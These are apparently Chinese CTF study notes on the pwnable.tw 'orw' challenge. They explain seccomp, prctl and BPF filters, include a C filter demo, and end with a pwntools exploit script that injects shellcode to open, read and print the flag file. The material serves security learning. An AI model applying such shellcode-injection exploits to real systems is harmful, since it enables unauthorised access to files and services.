Prctl(用户和内核沟通的一个绝佳函数),这个函数可以对进程进行一些设置。
seccomp-tools dump ./orw
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x09 0x40000003 if (A != ARCH_I386) goto 0011
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x15 0x07 0x00 0x000000ad if (A == rt_sigreturn) goto 0011
0004: 0x15 0x06 0x00 0x00000077 if (A == sigreturn) goto 0011
0005: 0x15 0x05 0x00 0x000000fc if (A == exit_group) goto 0011
0006: 0x15 0x04 0x00 0x00000001 if (A == exit) goto 0011
0007: 0x15 0x03 0x00 0x00000005 if (A == open) goto 0011
0008: 0x15 0x02 0x00 0x00000003 if (A == read) goto 0011
0009: 0x15 0x01 0x00 0x00000004 if (A == write) goto 0011
0010: 0x06 0x00 0x00 0x00050026 return ERRNO(38)
0011: 0x06 0x00 0x00 0x7fff0000 return ALLOW
(1).PR_SET_SECCOMP(22):当第一个参数是 PR_SET_SECCOMP,第二个参数 argv2 为 1 的时候,表示允许的系统调用有 read,write,exit 和 sigereturn;当 argv 等于 2 的时候,表示允许的系统调用由 argv3 指向 sock_fprog 结构体定义,该结构体成员指向的 sock_filter 可以定义过滤任意系统调用和系统调用参数。(细节见下图)
(2).PR_SET_NO_NEWPRIVS(38):prctl(38,1,0,0,0) 表示禁用系统调用 execve() 函数,同时,这个选项可以通过 fork() 函数和 clone() 函数继承给子进程。
struct sock_fprog {
unsigned short len; /* 指令个数 */
struct sock_filter *filter; /*指向包含struct sock_filter的结构体数组指针*/
}
struct sock_filter { /* Filter block */
__u16 code; /* Actual filter code,bpf指令码,后面我们会详细地学习一下 */
__u8 jt; /* Jump true */
__u8 jf; /* Jump false */
__u32 k; /* Generic multiuse field */
};
//seccomp-data结构体记录当前正在进行bpf规则检查的系统调用信息
struct seccomp_data{
int nr;//系统调用号
__u32 arch;//调用架构
__u64 instruction_pointer;//CPU指令指针
__u64 argv[6];//寄存器的值,x86下是ebx,exc,edx,edi,ebp;x64下是rdi,rsi,rdx,r10,r8,r9
}
导入 ida 后反编译如下:
unsigned int orw_seccomp()
{
sock_fprog v1; // [esp+4h] [ebp-84h] BYREF
char v2[96]; // [esp+Ch] [ebp-7Ch] BYREF
unsigned int v3; // [esp+6Ch] [ebp-1Ch]
v3 = __readgsdword(0x14u);
qmemcpy(v2, &set_rule, sizeof(v2));
v1.len = 12;
v1.filter = (struct sock_filter *)v2;
prctl(38, 1, 0, 0, 0);
prctl(22, 2, &v1);
return __readgsdword(0x14u) ^ v3;
}
BPF 过滤规则
seccomp 是 linux 保护进程安全的一种保护机制,它通过对系统调用函数的限制,来保护内核态的安全。如果按默认 seccomp 机制来说,只能够调用 exit sigreturn read write 四种系统调用。如果要自定义,可以用 BPF 指令集设置过滤模式(最终得到的就是一开始 seccommp_tools 的结果)
BPF_LD:加载操作,BPF_H 表示按照字节传送,BPF_W 表示按照双字来传送,BPF_B 表示传送单个字节。
BPF_LDX:从内存中加载 byte/half-word/word/double-word。
BPF_ST,BPF_STX:存储操作
BPF_ALU,BPT_ALU64:逻辑操作运算。
BPT_JMP:跳转操作,可以和 JGE,JGT,JEQ,JSET 一起表示有条件的跳转,和 BPF_JA 一起表示没有条件的跳转。
#include <asm/unistd_64.h>
#include <fcntl.h>
#include <linux/bpf.h> //off和imm都是有符号类型,编码信息定义在内核头文件linux/bpf.h
#include <linux/filter.h>
#include <linux/seccomp.h>
#include <stddef.h>
#include <stdio.h>
#include <sys/prctl.h>
#include <sys/types.h>
#include <unistd.h>
int main() {
struct sock_filter filter[] = {
BPF_STMT(BPF_LD | BPF_W | BPF_ABS, 0), // 0x00
BPF_JUMP(BPF_JMP | BPF_JEQ, __NR_execve, 1, 0),
BPF_JUMP(BPF_JMP | BPF_JGE, __NR_read, 1, 0),
BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_ERRNO),
BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_ALLOW),
};
struct sock_fprog prog = {
.len = sizeof(filter) / sizeof(filter[0]),
.filter = filter,
};
// execve("/bin/sh", 0, 0); 此处没有被禁用
if (prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0) == -1) {
perror("prctl");
return 1;
}
if (prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog) == -1) {
perror("prctl");
return 1;
}
execve("/bin/sh", 0, 0); //此处被禁用
puts("OK");
return 0;
}
orw seccomp-tools dump ./bpf
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000000 A = sys_number
0001: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0003
0002: 0x35 0x01 0x00 0x00000000 if (A >= 0x0) goto 0004
0003: 0x06 0x00 0x00 0x00050000 return ERRNO(0)
0004: 0x06 0x00 0x00 0x7fff0000 return ALLOW
https://docs.pwntools.com/en/stable/shellcraft.html
很奇怪,本地就是跑不起来
.bss NOBITS 0804a040 001028 0000e8 00 WA 0 0 32
bss 段好像没有执行权限啊,按理来说 wp 不可能跑通,但是远程又打通了,甚怪
#!/bin/python
# -*- coding: utf-8 -*-
from pwn import *
from pwn import p64, u64, p32, u32
import os
context.terminal = ['tmux', 'splitw', '-h', '-p', '80']
context.log_level = 'debug'
context.arch = 'i386'
host = 'chall.pwnable.tw'
port = 10001
fileName = './orw'
# libcName = './libc.so.6'
# libc = ELF(libcName)
# elf = ELF(fileName)
r = process(fileName)
# r = remote(host, port)
def debug(p, cmd=''):
if os.environ.get('VSCODE_INJECTION', None):
return
gdb.attach(p, cmd)
pause()
debug(r)
sc = asm(
shellcraft.i386.linux.open(b'/home/orw/flag') +
shellcraft.i386.linux.read('eax', 'esp', 50) +
shellcraft.i386.linux.write('1', 'esp', 50)
)
r.sendafter(b':', sc)
r.interactive()